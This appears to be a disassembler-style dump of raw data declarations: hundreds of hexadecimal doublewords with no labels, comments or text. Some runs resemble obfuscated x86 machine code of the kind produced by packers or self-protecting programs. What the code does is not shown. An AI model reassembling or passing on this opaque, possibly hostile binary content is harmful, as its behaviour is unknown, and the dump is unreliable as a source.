dd 0C78B5150h, 4C4DADCAh, 0CEB6D098h, 75305E12h, 0FFA523AFh
dd 7F17B73Bh, 0D7282BC8h, 6AA3CE73h, 72961F81h, 0C4E6D430h
dd 636A747Ah, 0E2EE3E7Bh, 9CF9BEE4h, 3056D234h, 0A96D33E9h
dd 0B33F9923h, 316590BCh, 0FA6D059Dh, 759A7F1Dh, 0B66F66F8h
dd 8F5262A8h, 463DB30Dh, 73D27295h, 16B48AD2h, 9E38C414h
dd 4A8A117Fh, 0CEAC03h, 774B0000h, 0FE7D511h, 0DDAB133Eh
dd 0C417FECh, 0BCF90782h, 13C88660h, 759A0D4Dh, 9A5E444Ah
dd 11D5CBD3h, 91693F59h, 616FC909h, 580F7984h, 759A0DBBh
dd 8A228C5Eh, 523D09DDh, 0BD2AC28Fh, 73D222DCh, 0AFE12439h
dd 7CB13D3Bh, 19A3DB92h, 8D6ADD75h, 6873D250h, 442D9FD6h
dd 0F6710539h, 891CF1B1h, 508CF694h, 0F1B0DEF6h, 37CFA72Bh
dd 98F1E3B0h, 103EA975h, 0FA9A8F0h, 28B63F81h, 80D2B369h
dd 180225ECh, 0B91B52h, 3D660000h, 0B9E1EFE3h, 2D577179h
dd 0C8DFF9F1h, 5B464008h, 0D3DCC981h, 0DA967633h, 0A028F8BCh
dd 35A57F26h, 0B931F5ABh, 31DE8921h, 0D473D727h, 0A08160D5h
dd 7AA4AF60h, 1E8035C2h, 87014993h, 0A295C501h, 0E7D51177h
dd 4F67A3F9h, 0D39A5A41h, 0C96D9819h, 256E22A5h, 0FD4F8F69h
dd 0FCBD1FFh, 5A9A8667h, 0ED315296h, 0F4AA34E8h, 78C5BA30h
dd 55E227A2h, 0BD7DFC1h, 3BCCE242h, 5929A165h, 0DD905037h
dd 3AACEBB1h, 39CDF660h, 6CCE1A9Ch, 0D9CECC82h, 508512D5h
dd 0DE600287h, 6667E7Ch, 0F1099F28h, 5F616FABh, 0CDD3FDFDh
dd 86A4309h, 62000000h, 29AC643Ch, 77BC8B0Ch, 0F09EDC0Ch
dd 62606EAAh, 0D5F3F923h, 5D7B71D1h, 0C4C2885Ch, 4B4907C5h
dd 0B0DE9C54h, 26A42AF6h, 5B28A662h, 50E68956h, 0E34094B8h
dd 5D8F732h, 32E34098h, 8358C601h, 348704EEh, 0CC685C24h
dd 89000061h, 8952243Ch, 4C281E2h, 83000000h, 148704EAh
dd 0C895C24h, 58B85024h, 0BF482E57h, 0BE1EF30Ah, 48BC701h
dd 4C48124h, 68000000h, 55E3h, 81242489h, 42404h, 50590000h
dd 8B8h, 52C80100h, 0BAh, 89C20100h, 0FF585A3Ah, 81592434h
dd 4C4h, 243C8B00h, 81E38953h, 4C3h, 4C38100h, 87000000h
dd 0E95C241Ch, 0FFFBEF3Eh, 0FDB7A77Bh, 0BEBEC7C1h, 0B877EFD7h
dd 64D58EFh, 0E0FFC503h, 379DBCA7h, 61A506C8h, 1192BF2Eh
dd 0D942320h, 2DBD851Ch, 7E81323Fh, 24FFD046h, 1C870F44h
dd 4179CF4Ah, 0C7FE532h, 43F70E81h, 7BC1A06h, 7450149Fh
dd 333A9B2Dh, 1CBFE848h, 6E8h, 0C1F64600h, 663C150Ah, 3877EA81h
dd 81666059h, 0FC338CEEh, 61C18161h, 8100005Bh, 5E9D98EBh
dd 0BBC0331Dh
dd 5E14D73Dh, 6601348Bh, 814577BAh, 0B146C9C6h, 42EB8043h
dd 0CD39EE81h, 14E87995h, 77000000h, 2F7CC35Dh, 6810303Ch
dd 0C956C01Ah, 44DF7865h, 0E83153DDh, 6, 0A01F060h, 0D5BBA555h
dd 5B2558EDh, 0AFEE815Bh, 0E85C8BEBh, 9, 0E8F3A478h, 0F44C5D76h
dd 5BDBB614h, 0F013489h, 486h, 0A1BF6600h, 2810F61h, 8B000000h
dd 4E883DEh, 0FE8h, 74DA9600h, 0A37636BBh, 0B6CA6AC3h
dd 780D2376h, 88F8815Ah, 0FFFFFA5h, 1A85h, 0F1BF6600h
dd 2CE997h, 0E96C0000h, 0F60E0B10h, 1742CE39h, 0D44F102Dh
dd 0BF463C25h, 3EA4806h, 0FFFF4BE9h, 290B61FFh, 4C4EA8C3h
dd 0C1D1B63Fh, 1AC9B553h, 0B0E90E77h, 60000000h, 0F6DA8C66h
dd 850F04C2h, 0Ch, 0ED5853Bh, 840F0648h, 36h, 2F2D853Bh
dd 840F0648h, 2Ah, 27C5853Bh, 840F0648h, 1Eh, 327D853Bh
dd 840F0648h, 12h, 9A1BD83h, 0F010648h, 584h, 5FE900h
dd 0D08B0000h, 8B3C5203h, 88BAh, 784A8B00h, 840FC985h
dd 49h, 0F8C281h, 728B0000h, 8BC8030Ch, 518B1C59h, 8BD80314h
dd 0FC9850Bh, 1084h, 0FCE3B00h, 1782h, 0FCF3B00h, 0F83h
dd 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4E809D8Dh, 5B80648h
dd 0FF000000h, 0BC361E3h, 0F68D8DD0h, 60064D5Bh, 0F954F580h
dd 7D853361h, 8906480Ah, 4814058Dh, 0DE816606h, 85C71BF6h
dd 6483025h, 7460h, 0D985C7FCh, 6482Ah, 60000000h, 0A818D01h
dd 81660648h, 61C047E1h, 915B5FFh, 8D310648h, 648140Dh
dd 0E7195FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 9D8B35C3h, 64817F9h, 95FF006Ah
dd 648092Dh, 19EBC08Bh, 9E9C7087h, 491B97B9h, 59367427h
dd 95A8252h, 0D91F29EFh, 60ADFD2Bh, 2B8D8D0Ch, 6A064D5Dh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 0A8EEC355h, 21B58BB3h, 8906480Bh, 4814058Dh
dd 6800F06h, 89000000h, 48144DB5h, 2585C706h, 1C064830h
dd 6A000061h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 7A66C350h, 9379BA39h, 5801AE8Ah
dd 0BE860h, 42450000h, 0F70DF09Ch, 34D4C028h, 33CB812Ah
dd 5E71D333h, 0E7D9589h, 0C7610648h, 482AD985h, 6, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 1F202785h, 0C295F1B6h, 58C3819Ah, 663928F1h, 0B5FFFB8Bh
dd 6480C39h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 12C35545h, 7195FF3Ch, 6A06480Eh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 6D02C351h
dd 0D1B81666h, 99DF8166h, 0FF006A52h, 48092D95h, 0EBC08B06h
dd 3CC8A57Bh, 0ADAFBC1Bh, 61C4690Ah, 0C4B6E833h, 0EEE48CF4h
dd 0FACF1892h, 55122297h, 2655157Dh, 162C4B27h, 57A75B36h
dd 0F041AF20h, 0DD53A938h, 1EB73298h, 0D7217B2Ch, 0C8AE73F8h
dd 65B218FFh, 49155953h, 4D535969h, 0ED9637C1h, 623DAB63h
dd 0E2DD4D17h, 6CF3E886h, 0A7DBF766h, 6263EED7h, 3977ABCDh
dd 0DB0D0C1Dh, 0D8E2C7C5h, 53F3FD09h, 0B5EE514Fh, 686FB986h
dd 8DFC2843h, 158E9h, 12E900h, 0FC600000h, 53CAC985h, 0AEA27274h
dd 75F8B9A9h, 89249F07h, 46B58DF9h, 6A064D5Eh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 0F53EC352h, 47B4858Dh, 0FFF5064Bh, 52006AD0h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 2299CF0Dh, 8E9F4h, 0E4B80000h, 12FE3A0Ah, 880F5D19h
dd 10h, 0BE9h, 6058BC00h, 82BF1A01h, 7D845645h, 8820FC3h
dd 0F000000h, 28Dh, 66616000h, 6AD98Ch, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0D3C151C3h
dd 6EBE774Ah, 0FE9C696h, 0B0000000h, 1A435200h, 1C31F989h
dd 60EE825Eh, 0F6FC2947h, 840F04C1h, 49h, 0CE9h, 1684F100h
dd 4F7EFFBEh, 0CFEB56D2h, 8BFB8BB7h, 0AEC032CBh, 0CF2BFD75h
dd 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h, 1013F20h, 74C00B00h
dd 0C708D18h, 0CB8BFA8Bh, 490A75A6h, 1B8FA75h, 0EB000000h
dd 0EB008B09h, 0B8E4h, 60CF0000h, 36B5D88Ah, 138E0F61h
dd 60000000h, 0E9DFB70Fh, 9, 0A47139A3h, 93B0739Ah, 81606193h
dd 0AF93AAC8h, 5951606Eh, 61FEB70Fh, 0B485C761h, 3F064D5Eh
dd 0E8000101h, 0Ch, 0DCC0E028h, 5513411h, 0E289F59Bh, 0DF44D781h
dd 0E959258Ch, 0Dh, 0E8E54E73h, 6AA14268h, 0E3B94210h
dd 93C181C5h, 0F000066h, 684h, 86DA8100h, 0BE7B5A05h, 0
dd 840F5253h, 0
dd 34FF5B5Bh, 0DABF0F0Eh, 72BF6658h, 5CC0814Ah, 8159DA9Dh
dd 0FEAE1CF3h, 0DFF0815Bh, 806CA512h, 0C0819DEBh, 7106E18h
dd 6650D98Ah, 8F3868BFh, 0BB663104h, 5760DE58h, 836159F9h
dd 8E0F04EEh, 1, 1CFE81F5h, 0FFFFF9Ah, 0A85h, 19E900h
dd 0D65D0000h, 0F09C053h, 9FE9D1BFh, 0F2FFFFFFh, 0A34D55E2h
dd 2C2BE260h, 8D245FF6h, 4D60688Dh, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 2A7187E9h
dd 0BC72F6E9h, 2EFD9D8Bh, 8D890648h, 6481405h, 0BE9h, 0E1FAE900h
dd 89EB885Bh, 35F770C8h, 302585C7h, 60B80648h, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 0DD8AF4C3h, 2AD985C7h, 648h, 0BD8B0000h, 648279Dh, 2C299509h
dd 0B5FF0648h, 64806FDh, 0E7195FFh, 820F0648h, 2, 6AE0B2h
dd 92D95FFh, 0C08B0648h, 0F97C68EBh, 132E4DEEh, 52D54EA3h
dd 9B2DD886h, 0B13A9F5Dh, 0E4717948h, 87C32E7Dh, 868A5BBBh
dd 1EA202C0h, 0C2A9F9D1h, 39F3A3E6h, 0DDF77A1h, 152CA0FCh
dd 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 0F48D0408h, 2C8DAC97h
dd 0DE782ED0h, 4C1E854h, 8AF41A34h, 0DD3D7CF9h, 0A0F85E52h
dd 97926708h, 26ACBA8Ah, 0D0A6928h, 60EB4C79h, 18h dup(0)
dd 0C29E9h, 0C1DE900h, 59680000h, 0E9064D69h, 0FFFB1D29h
dd 4D6AB668h, 1D1FE906h, 3F68FFFBh, 0E9064D6Bh, 0FFFB1D15h
dd 24445BDAh, 0ADCFCA68h, 11736EF1h, 84E4FD85h, 0F6D6C08h
dd 0BB78FE4h, 0A83E6A36h, 26C3DFBDh, 0AE554123h, 831AC9ABh
dd 71936D2Bh, 0D0E57B7Ch, 94236539h, 68B67C71h, 0D1F8CD2h
dd 7ED4D3A1h, 0E6E38565h, 0C662FE89h, 0D45554D0h, 5870C6A7h
dd 0DDBFAA3Ch, 8A8D28C4h, 7A16BCFDh, 4A57E9F9h, 8EFF7C3Dh
dd 37077F2h, 85F2EF71h, 0DF654BF7h, 4FCCADDAh, 0D0C6623Eh
dd 0A2D3504Fh, 22532ED6h, 0A5D2B156h, 0BD282DD7h, 1F9ED9C4h
dd 238B4039h, 5DFF3894h, 0C29C33CAh, 76248A86h, 0ECC25552h
dd 76248AACh, 0F9D77F38h, 7C71EB96h, 0AB42D5D2h, 3D959411h
dd 0B6D2D75Dh, 0DBC9DFE6h, 747A1969h, 45ACD4Ah, 7C715648h
dd 1662139Ch, 690A966Dh, 6CFBFE85h, 68464FD0h, 76243330h
dd 0DC72F3BCh, 0B9FD66CBh, 75BDC67Ch, 5B5B671Ch, 0BF332D99h
dd 92798C17h, 48D8E11Ah, 4Fh, 0E1E48F21h, 28BB1390h, 4047EC80h
dd 0DC7233h, 80FA9F35h, 0D2AF57E9h, 7D51C4A5h, 7624333Bh
dd 0A48EE89h, 7624334Eh, 0E3B5E99Ah, 0E9869924h, 0D76AFF88h
dd 4144EE7Ah, 63F27330h, 832B36C9h, 851B80E0h, 0F499FAFFh
dd 39676Fh, 0B9FC0000h, 0BAFED07Ch, 0E6762432h, 48374540h
dd 2E80AECBh, 7624326Ah, 806E0B70h, 0E74F5AECh, 0FF85652Eh
dd 41366BFAh, 15149004h, 34D5B460h, 0EC80059Eh, 70314E41h
dd 80AA4FDAh, 32D395E9h, 86E17624h, 0B9635C30h, 26E2972Eh
dd 0B387522Eh, 0DAABAE4Ah, 0D8F65CDDh, 7C6D1F59h, 0CD9DEA95h
dd 7C6D1E87h, 7DAB10C2h, 0DBA9E286h, 1845Ch, 80B9C700h
dd 3D734BDAh, 6E762433h, 32C187D7h, 59EF7624h, 0DB733C4Ch
dd 0D1A3D0DFh, 0AE355752h, 48E8FE85h, 0D6683849h, 7CFDBACBh
dd 0FD669AFFh, 0BDC67CB9h, 9279EE75h, 48D8E11Ah, 49h, 0EDF88F21h
dd 7CB92245h, 83D47532h, 4EDA160Ah, 4A2FACA3h, 5546EC80h
dd 24333F79h, 65E28D76h, 563F9714h, 24334078h, 86E38C76h
dd 4E41EC80h, 85642DE8h, 67E90EFFh, 0F92EDA0Fh, 71FE7F7Ah
dd 676FF414h, 45h, 41EC80FCh, 0DA70314Eh, 0E48E3702h, 800760E1h
dd 2C24080Bh, 90268EA6h, 52D26E05h, 0E9412E5Fh, 243BADEBh
dd 0E77E3D76h, 69814BB2h, 64D2EDA6h, 7D136491h, 0DED15C52h
dd 0EB43C0A1h, 851B80D8h, 0F499FAFFh, 380B806Fh, 61B9BD8h
dd 0E5ACE36Dh, 2C8F14Dh, 1D893B93h, 505F7625h, 0D7D25123h
dd 0FE852EB5h, 0FD669EFBh, 0BDC67CB9h, 9279EE75h, 48D8E11Ah
dd 35h, 0C67CB9D3h, 6A2E80BDh, 76762432h, 1B806C09h, 4DE9FF85h
dd 0F17E3F4Ch, 0B9FFCF66h, 7762432h, 4948E878h, 0EC80C6E1h
dd 7E3F4C5Bh, 67A849D8h, 4Bh, 0C67CB9FCh, 52E980BDh, 24333C7Ch
dd 57116D76h, 65762432h, 0A9016E1Ah, 24326D2Bh, 7D029E76h
dd 7271F26Eh, 0B0D5DADCh, 4346EC80h, 32BEFAD4h, 6D0A7624h
dd 854B50C5h, 8099FAFFh, 0DA9D9E0Bh, 389EB54Eh, 5EE67A29h
dd 67D8EB43h, 0F4h, 2E80B9FCh, 0D84D2E27h, 0AFAF1C63h
dd 21954431h, 0A83FD657h, 0C1696814h, 24A8DD93h, 198CEB76h
dd 0A86C2C82h, 3F787624h, 0EB881897h, 80E78CECh, 32D395E9h
dd 90E17624h, 24327A3Eh, 0B8394676h, 0E6FD8612h, 0B9FD669Dh
dd 80BDC67Ch, 32D395E9h, 86E17624h, 32F9BF0Fh, 0B8C77624h
dd 79ED7612h, 0D8E11A92h, 3848h, 0B80D300h, 55702044h
dd 6F3F9787h, 80D7B052h, 24326A2Eh, 451E9376h, 0E9847399h
dd 0A5C2EE44h, 851B80C0h, 0F499FAFFh, 95E9806Fh, 762432D3h
dd 823086E1h, 54h, 0C67CB901h, 90C3B84Fh, 1C13A4CCh, 0AEC385D5h
dd 6EF17624h, 17650273h, 80A1C268h, 24326A2Eh, 84FF7076h
dd 0A9AC5734h, 503390DCh, 1B80B6D3h, 0DC580B80h, 0A67A339Ch
dd 2D850201h, 0A1C2C76Dh, 6F069DF4h, 2432591Fh, 4A186776h
dd 7624330Eh, 5275DDDAh, 3C950B80h, 90E750A3h, 0C8D55E3Ah
dd 24E3B2F6h, 0F0713E76h, 7574F183h, 0FDF87B17h, 7D80F98Ch
dd 4255BB49h, 0D5913F97h, 0F6762488h, 0C4588744h, 2A4B383Fh
dd 686F1484h, 7F079908h, 0A74CCC62h, 0EB9DD3A0h, 0DF0EFDAFh
dd 82844FAAh, 119EEFE2h, 0E9F3D764h, 0A352D141h, 41821E76h
dd 6602833Fh, 29E87A2Fh, 0FE25EE0Ch, 0A5511767h, 109F7624h
dd 33D9E2BAh, 0AD47CAA4h, 6F067C6Ch, 6CAC591Fh, 0B218677Ch
dd 0BA087906h, 7C6CACFAh, 0E26E551h, 0DBA97415h, 4FCFh
dd 0B805400h, 209E8E5Ah, 8E0AA0C5h, 8776FDE5h, 69F55CBFh
dd 8DFA7B51h, 0FCEB7CECh, 0F8B00E7Fh, 0D1762478h, 869D26BAh
dd 1BC1BE30h, 0F7336998h, 0FA26EA41h, 4DCAD96Eh, 0A2A146DAh
dd 0B944D4D5h, 2A8C9A6h, 179D2F66h, 0E4FB8612h, 27401697h
dd 450FFE85h, 472B7305h, 8C992FBDh, 0A631BEFFh, 0C169740Ah
dd 3BE1DAB2h, 949310ACh, 653086E7h, 71E57A09h, 0ABC9B67Ch
dd 0C352F8C3h, 0B96B66EBh, 94E58282h, 296A7EC6h, 80FAA76h
dd 8D8C297Bh, 17D4A6FCh, 0DA813DDEh, 0E43631EAh, 25EBDDh
dd 0B9300000h, 0B44BDA80h, 0A70D91FFh, 0D066EF66h, 24DAD682h
dd 0F2650276h, 4BDAC95Eh, 9C322FB1h, 29720Ch, 80D10000h
dd 3C7C52E9h, 88762433h, 32F9BFEFh, 0B8C77624h, 0D983BA12h
dd 3344704Eh, 17907624h, 4C5BEC80h, 5FDB752Ch, 67D3F45Ah
dd 186h, 0CE7FB9FCh, 38AF2C23h, 0F4B40AA1h, 0C0762432h
dd 32B1F7A7h, 53DF7624h, 3040215Eh, 66C4DF77h, 0FBFE85FDh
dd 79EE759Eh, 0D8E11A92h, 3248h, 7FB9D300h, 2E80B8DDh
dd 7624326Ah, 86851A76h, 6E0B88E9h, 0E2851B80h, 85D970E7h
dd 762432C3h, 0A7C09611h, 0EC806FF4h, 72334047h, 33DEDCh
dd 0B9350000h, 80B8DD7Fh, 24326A2Eh, 0D71E9376h, 3D8D1DE2h
dd 4AFDF75Fh, 19C8D58h, 2142C397h, 0E2851B80h, 0E98082E7h
dd 2432D395h, 0A86E176h, 26C36B6Eh, 0FBFE859Dh, 5554D06Ch
dd 32ACECC2h, 7F387624h, 0B80CCD7h, 0C7DD3697h, 0EE8B19AEh
dd 933443EBh, 4FC67CB9h, 19E3BD5Ah, 24E70345h, 0DDD6D176h
dd 53FB73E9h, 851C7530h, 24326F29h, 9C327D76h, 1A92790Bh
dd 4048D8E1h, 0D3000000h, 33D57CB9h, 80CCA956h, 72A6460Bh
dd 0F258E188h, 0E90D4B23h, 453E7624h, 0B18A626Eh, 1F9B3377h
dd 18D8DC64h, 0A22348A1h, 57E980C1h, 0B845D7AAh, 857611B9h
dd 0F499FAFFh, 34676Fh, 80FC0000h, 32D395E9h, 6FE67624h
dd 0B79C85FAh, 0FB535C2Ch, 1B7C1623h, 326A2E80h, 1D707624h
dd 24330741h, 2DAAD576h, 851B8048h, 0D16BFAFFh, 0E4FF5752h
dd 0F8856FF4h, 32D99FEFh, 98E77624h, 99DC6A1Bh, 0F6762432h
dd 0EEFB8D1Fh, 86A91648h, 32D99FEFh, 7F077624h, 0C1691662h
dd 42D5D451h, 0CF8EA949h, 8D2524A3h, 0F88556FDh, 6774AEAh
dd 0F98BF879h, 7C0C7D7Ch, 0FD8FFCEBh, 870E7F6Ah, 47DF14CBh
dd 0D067B675h, 2432BAFEh, 0D1790676h, 0C7A5A441h, 0B0B732CEh
dd 4E0CA2C3h, 76243C98h, 850205A0h, 3EC19912h, 111BCFF7h
dd 91EEE383h, 0F822BA10h, 69DDE16Eh, 0A6BCFCD2h, 6F087624h
dd 23DF61Ah, 882EDB9Eh, 0FFFE1844h, 0FD47DFFFh, 0E9762432h
dd 7624332Bh, 2432DC9Bh, 3286CE76h, 34707624h, 0A2762433h
dd 362432E2h, 0D4659E13h, 0ED2FDB93h, 0CCEE945h, 881AC599h
dd 0A1CE3C6Fh
dd 19C3FCD0h, 0E1A7F78Eh, 0EF3C6EB7h, 136B2A80h, 42B6D33Ah
dd 0FF5EE18Eh, 3952A0A1h, 359C846h, 55DC0000h, 0C0623E5Ah
dd 54EBA7C5h, 0F77F2B49h, 66029EFAh, 95E20163h, 600001ADh
dd 0D5B79234h, 5F3D3CB9h, 0C7A5A043h, 6325790Ch, 717C719Bh
dd 0EC8034EFh, 713E4F5Ah, 0A9BA39D9h, 243293D5h, 0AF552176h
dd 37BF2DAAh, 0AF2C4D3Ah, 0DCD2C7DEh, 540E1883h, 9BA478DEh
dd 770866F1h, 0B37C71D8h, 63FD94F4h, 0F2B3C0DDh, 58367E5Ch
dd 655E7C71h, 0ED5E30A7h, 7582BEB8h, 68049B0Ah, 5B56DECCh
dd 66CC4D2Ah, 861909AAh, 0C8DEA9Bh, 0B4B3306Ch, 783577C7h
dd 546F7624h, 384F1FB6h, 0E07C71D9h, 0F07C1087h, 0C3C663F1h
dd 6D16AA6Bh, 159E0A96h, 7912871Eh, 0F60FBF13h, 0A42520C2h
dd 1FB79234h, 4A033C90h, 0BC2BA8AFh, 0D50F4925h, 3EDA7C71h
dd 0F1C37ACBh, 0A2087705h, 3A089BF3h, 0B1C082BFh, 24F99BDDh
dd 0C14E2976h, 39E3DCB0h, 5A6FD0AEh, 651E7C72h, 90EED6E8h
dd 7C71F3D8h, 4BEE9BE4h, 620F9DCEh, 39911E6Fh, 0D067FEB9h
dd 0E337D5DBh, 0DC729272h, 0D0B0B73Ch, 0A3CC3FC4h, 6653D10Fh
dd 64610795h, 98E99617h, 717E8ACAh, 0B9827Ch, 93106160h
dd 942B8312h, 5482BEBBh, 49725A2Bh, 0E7BA1483h, 0C67C6C81h
dd 1B89942Ah, 8CED9A9Fh, 52ED8A26h, 0C5AF401h, 0FCDA48C7h
dd 33000001h, 0C1DDBFB2h, 4E5A2623h, 0D2CEAAB9h, 613D5F52h
dd 9FA4C4C5h, 6F620E36h, 120F910Dh, 989F1A76h, 7ACF8h
dd 82DCF360h, 7C719CC6h, 0B9DB4C12h, 5049DC7Eh, 0E5EC28C8h
dd 0C64FE7C1h, 7269D7E8h, 0D95AF67Ch, 0ACA34EDAh, 9A0D6A06h
dd 0E9EDAB03h, 0BCFB7C71h, 720E9916h, 2F87F0F7h, 0AD4145D8h
dd 68532B83h, 1A9933A2h, 116E610Ch, 0DABB1390h, 0E0BA943h
dd 34E72AA8h, 640382BAh, 9D4370D9h, 59C94612h, 173h, 44243BBAh
dd 0CDAFAA48h, 31534ED1h, 0A4C4DD65h, 2F4D4CE8h, 0EB97AF04h
dd 881E8A16h, 6A3FF9Dh, 8E356103h, 637AE98Bh, 719E4D0Bh
dd 42C59B7Ch, 49DC7EB9h, 81210FB7h, 3A940380h, 7624327Eh
dd 10852D4Ah, 31440079h, 0F761F570h, 0CA66715Fh, 0E3B27C71h
dd 7189CD8Bh, 1F9C1B7Ch, 8491126Eh, 71896E2Ah, 0BC3D7A7Ch
dd 2423C0DCh, 9C3E7957h, 52DE7209h, 72D9F75Fh, 1B82BEEAh
dd 696E2A84h, 2B7A7624h, 246A1553h, 47C4A376h, 0C4A4C3EFh
dd 4D2F2AC8h, 0DF27CE51h, 5EE71573h, 58106EF9h, 6476246Bh
dd 0A2FE9A1Bh, 0C216FB02h, 286B0C22h, 92413733h, 54D552BAh
dd 0DDDC5834h, 9DDBB34Ah, 2B76250Fh, 0CBDAE64Ch, 0CEA0B331h
dd 76250F8Ah, 0DBA82956h, 18A474DAh, 992F7B19h, 0F84C49Ah
dd 32B07625h, 522C4537h, 76251016h, 0C744C5A2h, 7C55B50h
dd 0F570F3F3h, 5F544D5Dh, 2E800F56h, 7624BB6Ah, 0B27C0976h
dd 0FC9C3245h, 86127E71h, 744DF5FDh, 0A9248B03h, 45C26F02h
dd 72ED9D2h, 82FE4F4Ah, 1293E0E7h, 0F1AD3D95h, 0C4C5616Fh
dd 0D56C2547h, 24CCBFF9h, 0F6620D76h, 0DC7251h, 0AC029537h
dd 7C722DBFh, 6D3F4C2Bh, 4753D0C6h, 5425A2BFh, 3A3FC557h
dd 1421DFBDh, 0A6000000h, 0D395E980h, 0E1762432h, 0DA43086h
dd 84F5F073h, 85344FE7h, 494E5FCh, 790B787Fh, 0FC8CFDFCh
dd 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h
dd 0B9BFCCC9h, 81E18951h, 4C1h, 4E98300h, 31240C33h, 0C33240Ch
dd 89525C24h, 4C281E2h, 83000000h, 148704EAh, 14895C24h
dd 0E7895724h, 4C781h, 0EF830000h, 243C8704h, 2404895Ch
dd 21266857h, 0D15F7EBDh, 13C781E7h, 8908D31Fh, 243C8BFAh
dd 5404C483h, 8324048Bh, 0B86804C4h, 8900002Bh, 408F2414h
dd 2434FF08h, 4C48358h, 5A2434FFh, 0E904C483h, 0FFFB1125h
dd 12B68E4Dh, 0CF60E681h, 60BAD6D2h, 0B8032A53h, 64D6CD7h
dd 0C38BC503h, 0E99C1150h, 0A5F04843h, 0F105AC44h, 51173B2h
dd 796D378Bh, 0FFBC721Ch, 82FF87A5h, 30818749h, 47CA2683h
dd 23BE7A39h, 598A6Dh, 3FBD313Fh, 30BC773Eh, 65BC5DDDh
dd 30BC3406h, 0F3E11777h, 14D0BEE6h, 14F8B6D9h, 30BC2DEAh
dd 0F3E97277h, 0EFD0286h, 0D9D18BFCh, 30BC351Ch, 30BC249Fh
dd 7BB231BBh, 0FCEB7438h, 204966Eh, 0A1F62A60h, 9966AA5Fh
dd 0C101B487h, 30BA7FDEh, 30B7B378h, 0F75537BBh, 0B1BC37DFh
dd 84755B19h, 0B739BA25h, 0A0BA7AD6h, 30BC3234h, 0B7B7D0EEh
dd 0BBEC0144h, 0BBDAA770h, 5939BA12h, 5ABA7A83h, 33546177h
dd 10BC37BBh, 0B9E2F483h, 0B1B8139Ah, 2BB81333h, 76BC37BBh
dd 4032F48Bh, 4C80AF3h, 0B1DA0EFDh, 0D84E2C5Ch, 30BC37CCh
dd 3AE2A345h, 1B7B930Bh, 33234B28h, 0D3926AA5h, 0D92C6DBEh
dd 30BC377Fh, 951A129Dh, 80F06EB5h, 0D80657BEh, 6086E3ABh
dd 30BBDFE9h, 0A59437DDh, 783648Dh, 1B36D43h, 1BD38DDDh
dd 0A0DD6F87h, 0D8EB3784h, 30BC3774h, 6F7F689Bh, 34984B54h
dd 3498736Fh, 30BC3762h, 767F60FCh, 0CE0551AFh, 8BDA579Dh
dd 0B5B3DD85h, 30BC37BFh, 0BF9D88BBh, 3238388Fh, 0BBBC3777h
dd 9129C840h, 82BA7FEDh, 627CBCE3h, 6EDD5725h, 0DB76B7E4h
dd 22258A5Eh, 45BC31A6h, 501B47Eh, 30BA7FB6h, 63EC2EA9h
dd 4A04F765h, 0B9BC3773h, 78958E3Eh, 5421BADBh, 0CFBA7D4Ah
dd 0B3E46CA4h, 78B10206h, 27C837DBh, 4A0464BEh, 0B9BC3773h
dd 78958E3Eh, 6321BADBh, 0CFBA7D4Fh, 0D8E46CA4h, 30BC37B5h
dd 0C9B253EBh, 87AED56h, 0B7563ED8h, 0D8DCE6C3h, 30BC37D8h
dd 0F9E4FC4Ah, 6EDD6CD0h, 77F4F83Ah, 0F03776E4h, 5DCDAA63h
dd 4205313Ah, 0BDE7D43Eh, 7DE1FF58h, 0FE3D51E8h, 0E0439C3Bh
dd 3B7280B4h, 4138381Dh, 5ABC37EEh, 33546577h, 10BC37BBh
dd 0B9E6F487h, 0B1B813BAh, 26B81333h, 72BC37BBh, 0F7C6F48Fh
dd 3431383Fh, 56BC3777h, 0BD963E05h, 78F2B740h, 30BF8FE8h
dd 30D63777h, 30BFDFEAh, 699C37DDh, 7C356E2Dh, 743D3353h
dd 30A8339Fh, 61FD37DDh, 87B3DF2Dh, 8ADA67A0h, 0CFE6F711h
dd 30AEDE3Eh, 2B8537EEh, 11E484ECh, 8B07102Dh, 0C779FC32h
dd 15E0E91Eh, 5DC5AAFAh, 56DC31F6h, 0A481C55Ch, 0F839BA8Fh
dd 0C8BA7A2Ah, 2055E744h, 50BC37DDh, 0EF0CD8B4h, 0B801E07Bh
dd 55C70736h, 3B6A545Fh, 0B38382Eh, 0CCBC3777h, 0BD09FE3Bh
dd 78F2B740h, 23E78DE8h, 3FDC073Ah, 30BC353Bh, 51E260DDh
dd 30BC3656h, 30B3DE77h, 1C0037BBh, 91CFF6ACh, 9021ED47h
dd 0DBBF3770h, 565FC881h, 0F3D3FE5Ch, 0AD31FD64h, 36F15A09h
dd 30BC3052h, 0C22BBDDDh, 5F56962Ch, 6D74B2FAh, 0D23D31F6h
dd 6BB48286h, 0F0B7E711h, 30F0B378h, 30D637BBh, 30BFDF8Fh
dd 6A9C37EEh, 64356DB4h, 743D339Fh, 30A933F9h, 62FE37EEh
dd 0BD87C2B4h, 78F2B726h, 3304CFDBh, 5ABC37EEh, 33546177h
dd 10BC37BBh, 0B9E2F483h, 0B1B8139Ah, 24B81333h, 76BC37BBh
dd 0CF13F48Bh, 0F697890Dh, 3FFF2E33h, 30BC3637h, 8D31CFDDh
dd 36F15A89h, 4065BAFAh, 4D0431F6h, 3367C81h, 7895726Bh
dd 0F1731C71h, 5DC5AAFAh, 56DC31F6h, 0A481C55Ch, 0F839BA8Fh
dd 0C8BA7A2Ah, 2055E744h, 0E98337DDh, 8BA4F305h, 50006AC0h
